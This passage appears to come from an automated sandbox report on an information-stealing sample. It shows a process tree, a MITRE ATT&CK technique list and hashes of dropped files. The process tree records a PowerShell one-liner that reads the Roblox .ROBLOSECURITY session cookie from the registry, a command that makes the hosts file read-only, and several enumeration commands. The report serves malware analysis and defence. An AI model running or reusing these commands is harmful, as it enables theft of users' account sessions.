    PID:2464
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:5040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3732
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4844
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2156
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3480
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:3280

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Share Discovery

T1135

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1596_152475269\manifest.json
Size 43B
SHA256 81bd82ac27612a58be30a72dd8956b13f883e32ffb54a58076bd6a42b8afaeea
MD5 af3a9104ca46f35bb5f6123d89c25966
SHA1 1ffb1b0aa9f44bdbc57bdf4b98d26d3be0207ee8
SHA512 6a7a543fa2d1ead3574b4897d2fc714bb218c60a04a70a7e92ecfd2ea59d67028f91b6a2094313f606560087336c619093f1d38d66a3c63a1d1d235ca03d36d1
MD5 SHA1 SHA512

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1596_1844670345\manifest.json
Size 113B
SHA256 98821f71a1973ac61b45967ce0c121eb598ac6e95abaa23c912d2f33e4237d8c
MD5 7ef3c71464d0fef472bc1d81fd363c62
SHA1 230e8ec0f849bf34d444c55ef548ba0c9c94d39b
SHA512 f74b96ec3b9569e360a02bfdd4fe237efad8ee2a5deaf46db891bcadd39dba22fd6d59a4e9aafe5511152625ce9f468519dadd53fc0c9b6c8826dc58cbe6cd7c
TLSH
T1C8B09262DC80D872693A93AC0E2246C4F228234B2558AA493630048C0A3A3F082A2321
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.fingerprint

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1596_2051796975\manifest.fingerprint
Size 66B
SHA256 e84df839eb3dee2a10ba66de65c372c6e2bba0cbab46a39af041f4eeaab1ffe8
MD5 06d2b48de0edcb3e022ed639f0fb0085
SHA1 32f93d5a76998c407087269794026d1ea028828f
SHA512 3c883d4c342f95f28e4a76c73ce7151e8a76d6f5b2c86f90a9ee7f9976ae7e1be94c963489b326d2ff5f7c6423b29552d9aa09b65c17396c2f66ce271fe19506
TLSH
T1F3A022E32CE8880EACEC0AAB020A0AFA0ECC8000020280C80008080220028F0008CA8C
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1596_2051796975\manifest.json
Size 135B
SHA256 bf066a2cf10074e847bef7c066a9c84deada6586412e181cb417c6426a5d60a4
MD5 616eb6b585f16811dc5db5063e088cd7
SHA1 fc50aa7b747f9367d2b177eab7ab12cdafdeea85
SHA512 cdaf55640f0279c1cee06338912a07bc8bc8cb3780f70202363e25b327eb94a524c0acdd25cc2b22fbb1895d32af888857b17b3f0d7a2064f51ccdf1bab57f79
TLSH
T1BFC04C668D41DEAB00A647A56B295315E23B4B4B5044400A7AB5429C1A285964271844
MD5 SHA1 SHA512 TLSH

Submit Download

hyph-as.hyb

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-as.hyb
Size 703B
SHA256 c2784e33158a807135850f7125a7eaabe472b3cfc7afb82c74f02da69ea250fe
MD5 8961fdd3db036dd43002659a4e4a7365
SHA1 7b2fa321d50d5417e6c8d48145e86d15b7ff8321
SHA512 531ecec11d296a1ab3faeb2c7ac619da9d80c1054a2ccee8a5a0cd996346fea2a2fee159ac5a8d79b46a764a2aa8e542d6a79d86b3d7dda461e41b19c9bebe92
TLSH
T13001E1B0B7014F4BC635EDB0117A4A6D9664C43553BE051D84B1F9634F19714E70A8A8
MD5 SHA1 SHA512 TLSH

Submit Download

hyph-hi.hyb

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-hi.hyb
Size 687B
SHA256 f4df224d459fd111698dd5a13613c5bbf0ed11f04278d60230d028010eac0c42
MD5 0807cf29fc4c5d7d87c1689eb2e0baaa
SHA1 d0914fb069469d47a36d339ca70164253fccf022
SHA512 5324fd47c94f5804bfa1aa6df952949915896a3fc77dccaed0eeffeafe995ce087faef035aecea6b4c864a16ad32de00055f55260af974f2c41afff14dce00f3
TLSH
T14801E178BE13888BC6784DB1054115AA0320F90EF296021B4262B13ACB18FD61C95484
MD5 SHA1 SHA512 TLSH

Submit Download

hyph-nb.hyb

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-nb.hyb
Size 141KB
SHA256 c2771fbb1bfff7db5e267dc7a4505a9675c6b98cfe7a8f7ae5686d7a5a2b3dd0
MD5 677edd1a17d50f0bd11783f58725d0e7
SHA1 98fedc5862c78f3b03daed1ff9efbe5e31c205ee
SHA512 c368f6687fa8a2ef110fcb2b65df13f6a67feac7106014bd9ea9315f16e4d7f5cbc8b4a67ba2169c6909d49642d88ae2a0a9cd3f1eb889af326f29b379cfd3ff
SSDEEP 3072:pPTHXHEm69FrOP8d4hRLiinKL4Qshbv2fuOQXCxj+60EoM8WC5zgk:p73HEUP8dsiinTThjy90VKk
TLSH
T1CCE319F3A3394AC29420A8A4DF593B7E4044FA944D80E197B5EC2038E667CBC76D579F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\manifest.json
Size 82B
SHA256 d571ef33b0e707571f10bb37b99a607d6f43afe33f53d15b4395b16ef3fda665
MD5 2617c38bed67a4190fc499142b6f2867
SHA1 a37f0251cd6be0a6983d9a04193b773f86d31da1
SHA512 b08053050692765f172142bad7afbcd038235275c923f3cd089d556251482b1081e53c4ad7367a1fb11ca927f2ad183dc63d31ccfbf85b0160cf76a31343a6d0
TLSH
T137A022A0BC0880333E8803A8023E83E3C3BE3E0A20003C0002A33C8022EC33B3038E2C
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 f45b0efc0833020dfeeaad0adc8ed10b0f85e0bc491baf9e1a4da089636bccf5
MD5 8740e7db6a0d290c198447b1f16d5281
SHA1 ab54460bb918f4af8a651317c8b53a8f6bfb70cd
SHA512 d91fe9666c4923c8e90e5a785db96e5613b8cb3bf28983296a2f381ccdcd73d15254268548e156c8150a9a531712602313ba65f74cec5784341c8d66b088750b
TLSH
T1A871EF313375B0E888163F072D281AC053BF4355EA94AF5CB698625EDE2741B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 787aa4159dda2c8454a2a4dbc4c593647faf986fe88f4058f0f4f71a92a7094b
MD5 e51c505bcb6517c341bd4f3b71902df9
SHA1 8d6c1424d2e84e911ba7c44102da78dc415c32ce
SHA512 3ed7319eb580131cdfa60a847fad44f30b9a2dc99e59424393916c711bd154839b1b23bbf5c45886c1b63b689b4470536c9f1ba70f6f4cf13df7409317a9e57d
TLSH
T198216623B38C8921CC8A153A449DAC5072B583D741AEDE9FAFC4D604E1BF588CB711D0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 b9b9cd305939386f056a8d35497bf384a6ce88b1df66ad01a3e6fa9e02de2134
MD5 49b19681f24c4fa269aceaeded08fd8c
SHA1 365dd934434b7a64b373a3e9b8b9eea9b3057660
SHA512 40a78d918872818fc511658f58ead74a0635f25f5172b128ac5af4435d805c91c594f06b911fffccfde00dff272cdeea4c91c214dcf01cd1d7ccf1c2c300d474
TLSH
T1A1112223F78C8920DC96163A509DAC5172B586CB81AEDF9F7FC0C210A1BF584CBA1294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 0af30c33bb5614ccf578fcd2205854735f47797437c27bf0dbdf1b7a98588d36
MD5 32f3dc1662a211a9c6a33dc67f712622
SHA1 4fb04261f3b04262bc82ee4b3b466e1a6069cf6a
SHA512 9f552322920423e1c1dfac0c72f1d0e34276ef18da9feb055eecb260b5a8d0eb2e4f93ff0df9ed13b16d65a1dbae4fbbeab742b1e37ebe0880263cc5a2ab6e4e
TLSH
T141112227F38C8920CC96563A509DAC5172B596CB81EEDF9F7FC0C210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

RESFEFC.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESFEFC.tmp
Size 1KB
SHA256 7caa0baa121074675d30c7e4a2bdc01aaf1054a66ff881b2d84f9b00c552abfe
MD5 3c9dd88053e9577231146f46a68cfdbd
SHA1 a4e8693ec02958b4fe3306b06e80d09ccf519160
SHA512 d6c375b568d2424ba21fb2d110273b237fe16dbd9cd511f9d80fedf87a65f3620377f2ffc40299fef35e8b0fe586bfc32bdb6cb5e2f6b9601c00600332d9fa3a
TLSH
T17421DD0453E9431FF0B7873168F5436FA228FE58EF62535BC580423D1841104DEB0B72
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\VCRUNTIME140_1.dll
Size 48KB
SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
MD5 c0c0b4c611561f94798b62eb43097722
SHA1 523f515eed3af6d50e57a3eaeb906f4ccc1865fe
SHA512 35db454dbcc7ed89842c0440b92ce0b0b0db41dbd5432a36a0b7e1eddf51704b1f0d6cff5e3a3b0c3ff5db3d8632fed000471180ad72e39d8dbe68a757ccdfb0
SSDEEP 768:vzzO6ujT3MbR3v0Cz6Sz5q83ywug1HDV9zxfYbK9z:mq/oMx3hXHDnzxfYiz
TLSH
T1AE236BA453784486D4AB99B0C0DAEE577D7CFA964B10928F0BA0D15C1F637D0EB3D21B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_asyncio.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\_asyncio.pyd
Size 41KB
SHA256 4d3e82eb9f035acdec8a4dc0f6415af809c91cd8640657597a3bbb0343378c83
MD5 d9880e74cbab325c6f0eda8f012ef829
SHA1 825571ad725a43f095cb4fabcccd49af9ec527a2
SHA512 a3bebca6a3550c221521f00af6ea5de80d939a115cef1c5b2e37d39c67f61a2f8c300b97594e49052c6c46c446cfd7c43e2fa2894f253ec3ee24fd944075b88d
SSDEEP 768:jdC1/m79M11Fce54jzg4KKQ53hV5QPWciYeYw59EspV1IGDno5y1KPuBL2Ip44Tm:jdV7C9t54jzRKKChVaPWc8Y+1IGDno5V
TLSH
T13913C0D3427C5027EC439A7093F4CA93BA31EBE75815472B349D92771E973C0A31A369
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\_bz2.pyd
Size 51KB
SHA256 31bbbd635917ffc659a59b22d32fa0943edb0d52c07b1a4db02361e63f5c7f70
MD5 0fc3ed9d21655361de8c5295e2a0cbcd
SHA1 4e4b51b5900678398ba6abe46825f38761d6ff35
SHA512 2fc583ea9f9487bbfac4f2a0471da964e473ab8e3ca64de2ab3c6135c24d6420f727646b6d6381a65cad235cc3f374c7c0189e291a16b9b2305d28f5a2d3d797
SSDEEP 1536:5U3AbrYSflL4ncPAQ7/oZLIG3VYey1Ni9QfIY6utw:aPcL4nc5EIG3VYYKtw
TLSH
T1EA33D0CB83794012E767597161E8DD86FA3A6BD34011879A34DEE29A0F533D06F2332A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\_ctypes.pyd
Size 67KB
SHA256 1b1d2ed69e1553c43d211718bf6d22c7c145544bb6f06fc47257f75b6295968b
MD5 22f9993fddc8ebae1e1bd1a0fd9d0362
SHA1 e1ab18aaedc8910f2151511949b0ead3449884a9
SHA512 977b2429bc6a6fd8d408c87e1390b5276a946c804c312af12b6f8041e7ec3156c4b78b640831df65738fa5ac332553e9c454e3a8a52950308baac1d7cc04f9bd
SSDEEP 1536:FGsidR9UsGWPmlmCzZ/wsVW6uyaIj4pfoti7+IGGPPty1Ni9nvfIL3qc:F/IPGW/C1Ys86VUpWiSIGGPPpoGc
TLSH
T1CE63F1CB00F58057EE939D709794E956BB35F7D32A24CE6E30CDE1660E1A7C2A356234
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\_decimal.pyd
Size 121KB
SHA256 9ef80211b3fa1e6d1c92fb9870e498e1b1efc36219cffd8b6f8fcacd3b2d0a12
MD5 b4fbdd54cbda27d8c227008b1f7015de
SHA1 68994b2ee941813c4568f0560c16af08a5b5b4ab
SHA512 d5631705a1952602d773d97555493116285becc36f9ada66bf317fa32350f990738516501b08c6560b568b769d7317c7144ec938fc4b86be5193745f6f674961
SSDEEP 3072:IIWRy2yQSxDWLWLweCzn9uJIBIGDq5xzmr:I95yQWD4deEn9uaWxzO
TLSH
T116C301CB91986444ED27763287E0DB66F13D7F8343964B2681A091EA1FE33C3936B742
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\_hashlib.pyd
Size 38KB
SHA256 c8e4b1192e1d0471dc985b0427001ae63f2a833fe5c44ceee52e6913f10e8b8f
MD5 6ea0bf5fb8de892113b029d276804641
SHA1 1d788e3dec4976ed68e8f04b85c5a02cb005ae73
SHA512 65385015c8b98e6e42a0de794f70fe0e967cf06fb704c0845f575385ae1d74654dd58638004656730553bb28d1728e49d03c358c3832ac7f067932ddd1605761
SSDEEP 768:VFzCaLH2eWtTkvVE9k6p2vlTWrL+OpqVIGDItny1KPuBL2Ip47DTxf1mlIJxpu68:TCHPp2vlTuLoVIGDItny1Ni97BfIkxd8
TLSH
T16003BECA4A3CC053EA63693163F0DD82FE35B3979452477B30E8A1D51E673C09727266
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\_lzma.pyd
Size 88KB
SHA256 eac919e74adf32313ab00ee563c0bff042aadef6418be0b2b16bbfdb1a67add8
MD5 0d0a552efe65ecf282a7676668075b3e
SHA1 803a8bb6f531b3b8448dd2dd2a9c05221a6f1c36
SHA512 1d435c10298d1a9c8d1c49e0e067bdee864770c221c73233fa3238c267a1b1606e1bcf2e0669a30807385be3dd3319f11223767b97341edf82b7f861da9fbaa0
SSDEEP 1536:fbCORtk/GFJL/D1c0VkwjHnOFm9b/uko4J3b4ohwTmZ2ywBIGI1P0y1Ni9efIYCk:mORuGFt/HkG/G4J3b4GwTm8tIGI1Pwk
TLSH
T1AD9302DF97B88063EEB32D3052F6C6427934A7EB512596A724DF71920E233C4A393225
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_multiprocessing.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\_multiprocessing.pyd
Size 29KB
SHA256 3ef30c6ca6a136b3d93d6fac6700c8d588141c5ff066304df08b8e329146c78d
MD5 96d422b2e40e6013c230c324694998b5
SHA1 09479e4cb4cd158df63f8828f801c3fb8fca06d5
SHA512 e9552d1ee2602670f82f729952568bcb79d0c3e013a15fec95b8964b009ad3f3ab4bc1b7a5c8ec0a0dc1ce3ea5363af8ee1a645dd3f22810577f04ff8b99cef6
SSDEEP 768:PU8vsY8+DpXIzpFk1IG7tdfy1KPuBL2Ip4tTxf1ml9dHc7Lo:PU8UY8+F0k1IG7tdfy1Ni9HfIbHcno
TLSH
T162D29ED746389116FE639E7192D5D8C2F938BB935829876B30ED91EA0E637C0E316334
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_overlapped.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\_overlapped.pyd
Size 36KB
SHA256 3ea28b5772c75a29f86dd9ecc3679263a7882b1a7fedb864b2d1aef3fbd9436d
MD5 843808769256c27e78c0acb63645fdf6
SHA1 4c743f20772734b632ed1b585421eb5fa4cdabc4
SHA512 174f8c382ce51a2d820ef417e9297eab3076211fcf83a9436baa43a9072bba5f73abe99ce36b549817a47a17dbe98546b054c03c124fa0ff5e7aa6e204b44bd3
SSDEEP 768:ibDylVPZevepor9IGCtdBy1KPuBL2Ip4qTxf1mlIJsphes:iipoJr9IGCtdBy1Ni9CfIksus
TLSH
T170F2BFCB05B88095EE23AD3192E4DDC2FF35BBB364158B7F3499A1950E233C19752369
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\_queue.pyd
Size 28KB
SHA256 ef2c488ec5d544b217a4efdb02e699610333e6cab146084db418d9b5c7e143fa
MD5 05a67e90988474a788655b433904657d
SHA1 6a8cdd6c68ab874a2889fc24c2e10afe0b799a97
SHA512 97e8e40c5701240be3be6be6cb1b2b7f4426bb799ff97e660fb33874390353d8d7bfcf7f32544322b00cd7add5c304c13c05c8cbad82f4c85bd1fa666107ab46
SSDEEP 768:42YI3si/fuHLhpSDIGRUtzy1KPuBL2Ip4FTxf1mlIJdpS:4pHKDIGRUtzy1Ni9/fIkdo
TLSH
T112D29FCB46789067EAB37E7152E4DD82FA35BBE35811972B30EC61A60E633C19313275
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\_socket.pyd
Size 46KB
SHA256 b4de3cbb5096a2845398989269bb4dc6924b720e4c999e9458608864f2b0cf4a
MD5 4c9e9beeedfeb5f0d338d694516e9826
SHA1 8a4fa9e16e4469f9dc1d66929f5c327cb2421e23
SHA512 dff9a96c8019b77fb575375a89a6e83349aa7813e0be2919763329c66d3eade62ed4a41cdef182fa1708c281e1e9bf121b833d628871c9434d3c13bfa04e0a81
SSDEEP 768:4lRvR/zcKTGGtU7gujesZiZJx2u/Y6wOEJPuEGptayIGGwYYtky1KPuBL2Ip4D/6:AvRYKTGooe4ifT/h7uGdayIGGwYAky1/
TLSH
T16E23DFE70268E053EEB79A71A290D9C2F6797FA31056972B30DDA1960E733C1DF06325
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_sqlite3.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\_sqlite3.pyd
Size 61KB
SHA256 cffdf0710c1a935043b10af50374bb01aceb71609ecdad2498cecee69fbd7ded
MD5 fd8556ec6c47969720be546dd30f6c82
SHA1 75cd566714665cfa800fa3c2005b805a00ab0733
SHA512 57d0fc65a2223607b765c6aee57c892d9c74d9a730d0c2ea251ca2c49f60baca7c6949f1238b62c696c6deaff813531b9a85089eba01562048fc797e401928ae
SSDEEP 1536:9qVEMm9PYIipZ0Ej9XvksyIHvdIGDQoIy1Ni9SfIbHjnpw:9qUPYI29j9X5FIGDQoYTVw
TLSH
T1F353E0E747B88222E9729D7016A49CC3B672BBE71425CB2720BD61B50F673C0E75721A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ssl.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\_ssl.pyd
Size 69KB
SHA256 6dc920a676cfcd97ff95c90c5890930d245f8cf298d48177fc4a206cf0c8f76c
MD5 a2df07b5e5ff27b22093c761a1a48b5b
SHA1 3b14401c4082c70876329dcc29c871fab1dbb2c0
SHA512 6d5bf36b773e8d6078fad060aa2e1c856ac6c075cf64c9755ee5f5d24f8fc842660b71369d38a27fc4c87aa4f28c6757e3e4102d0e669db7f9b8cca5cb305b6b
SSDEEP 1536:00REJRkC9CxzEXZHwdBxHGrWY/gkL+veul9O2dbaTIG37fUey1Ni9FfIkrU:J2J2gCxzEpqBtGrWY/gkwee42dbWIG3M
TLSH
T1FD63F1CA4A3CE825FEB1563161E4DC57B970E6D3A409572F348E62EA1A233D0E34767C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_wmi.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\_wmi.pyd
Size 30KB
SHA256 e8a04aff683766570dae911bfc19ec31cb2bb97a9e10bdee78d9d60c98198923
MD5 b1ad8933d03c30bff8950f0c5131e481
SHA1 5dc881557ee00fdb8025a39e7f44e4f6080fbeb1
SHA512 189b5b2dcccf2eb4d68eaeab1af6b95818c8536bfcb5e1251b05675ae02441cfbcab75b748daf6076a07a4c07d4714b0a4bd8eaaafcd524990b4d94eb9c48959
SSDEEP 768:K+So74TudMdaHYOe0vpLbBIG3iNGFy1KPuBL2Ip4FTxf1ml6Z+7UlFg5yK:DSoUfcYVKbBIG3iNGFy1Ni9/fILKq1
TLSH
T1F4E29EC7457C826AFE73A93092D4DD83FA34BBE744268B27309952A60E633C1E303365
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_zstd.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\_zstd.pyd
Size 176KB
SHA256 63c5e33d54f99d74219a09743a87904926fdd75e013ca23abc5ca04683842fd0
MD5 bf5bf1619ac78cbf739fe12b2704d115
SHA1 3d18df53b7b56c96c8c5c6543273e5ec3c6f5a2c
SHA512 8cb9a789655e663eb99a2ab72df3f7a20ba8cc8ffcfc4d524329eb5ea7e77adb7cea8030189c6a51670bf06f99d813381b503376ccaf3a085316953026e154b7
SSDEEP 3072:GhpoyewfJKn+G206ETjJIiMdzVe67MALvIGIMW5yp:G/opwxe+GP6E/JMdHicp
TLSH
T18D0412C741F85256C727493173A4F8899739BBE36C98C72270A13A356FEFB81432719A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\base_library.zip
Size 1.3MB
SHA256 e2990d08b1f106ff9651aa9a8c1af0696d1e7bc53936a17568ec5e02fa0f0576
MD5 40b026b2d9d355daddcf8458aea4a226
SHA1 b6097b2a9548ed0f428f6b100608ffb48cd41de2
SHA512 c26198a882d239cd30cf254badbd9f5393ac43f4978535c45dc33685b8269eba594946aad9f6fc0f3002b019cde970650cf7518b69de4a71c5cc784c3d2f447d
SSDEEP 24576:wuUF9QeOdP2m2dflHQZ0dULxmwlbiYqRpz+Q:wuUF9/ppdzYqRJ
TLSH
T127552BA1B9917967FEC9F37A35B75A0CA715C0109B10D303B4A88DAC6FDF260AE558CC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blank.aes

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\blank.aes
Size 95KB
SHA256 db23ea8a740a47f0715d26959bdc5cbb1c6d66a1bc80927b53e71b8ec2f4d54d
MD5 5587cd994a2c9f03cb2e14cfe5d66590
SHA1 d616849a767ff109a81aab355f6cf0cc4161f6b8
SHA512 851707d128e9772119d47a4225538817a7c0b326fa445c8f4f922678e7766eb8d6a2f490d42bb1294c15042db4590a429d03f989a46590e847b90feb2ece85f3
SSDEEP 1536:eQMiGAMl+D86DBaIf7i6xF2aJL7Gx95rPgm7kcof6xON4vJ3uv5EblF0I5Cv8rux:ePAMKrDNf7i43JL7O95jg4h5u4vJoFvj
TLSH
T1C693122AAF6F1AACC57E089F3F04EE88B841D9A30DAC18B5E6C1735796E075E0C5F505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bound.blank

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\bound.blank
Size 11.8MB
SHA256 f57ff7d3fea978caf119a1de2444e58d0567e923637498269846430fd2295377
MD5 509b06a892190cf32a2c9d80354d64f1
SHA1 11abb8499815c59a17ae46c5313a47790332ef85
SHA512 e82b47688500aaf6dc15b6858fb86c3e141751cf43057982386ecc2878ec9747e2e0460d220a46fb8981361656126fa709b74e44527dc5c775d8a749be99949c
SSDEEP 196608:J12dQTp/mt2g1nFMtUDU1nq4AmgMeY4XhfrdoS+SZMgiDTIX8T1wKZ84m5cDp10:J12dQtmUg1OQwnq4AZhfxGB0sTtsC910
TLSH
T1E9C63340C9ABF6B9DC0461EF8E2E8F37BBA10450BB92788631E05D73D5757982D50A3B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libcrypto-3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\libcrypto-3.dll
Size 1.6MB
SHA256 5fdac609f40e3676cd6e7450f2a440934e47e89be0ee125307488ec647295739
MD5 fb07d5e33bc437ef6ab8f9af066d54a2
SHA1 2386e534f18ee964d3e269975b61e2aaf371055a
SHA512 041a4a80b65d5a10fa2b226db553232001127faf5401ba8594cd3d5a67055afc96c16ee955f556db0f4deb3cdeeb8c3ec123efee927f06bf1dc73f254b514bcc
SSDEEP 49152:B7jNm9z0XkbctNyQabDfwr71CPwDvt3uFA0C:hy2tNyQkTc71CPwDvt3uFA0C
TLSH
T1FD75122428FFB80BCB87D5788F30CD268F995602B319DFA56E7999441C18E0E4E785ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libffi-8.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\libffi-8.dll
Size 29KB
SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
MD5 08b000c3d990bc018fcb91a1e175e06e
SHA1 bd0ce09bb3414d11c91316113c2becfff0862d0d
SHA512 8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf
SSDEEP 768:3p/6aepjG56w24Up3p45YiSyvkIPxWEqG:tA154spK7SytPxF
TLSH
T164D2CFF34521FC35DD53EC7238D88434FB31BA8655A142E3521AD1BA4FA47822BA52FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libssl-3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI23202\libssl-3.dll
Size 369KB
SHA256 151d841ce73d817ee966a20393f1d4a63197cb2d62ffe6c75aac1674051217d7
MD5 042c2a33cb438d8729aff64ecbed9a66
SHA1 93c00d81525ec106ab3b23af2bdd8c65e5cbb64f
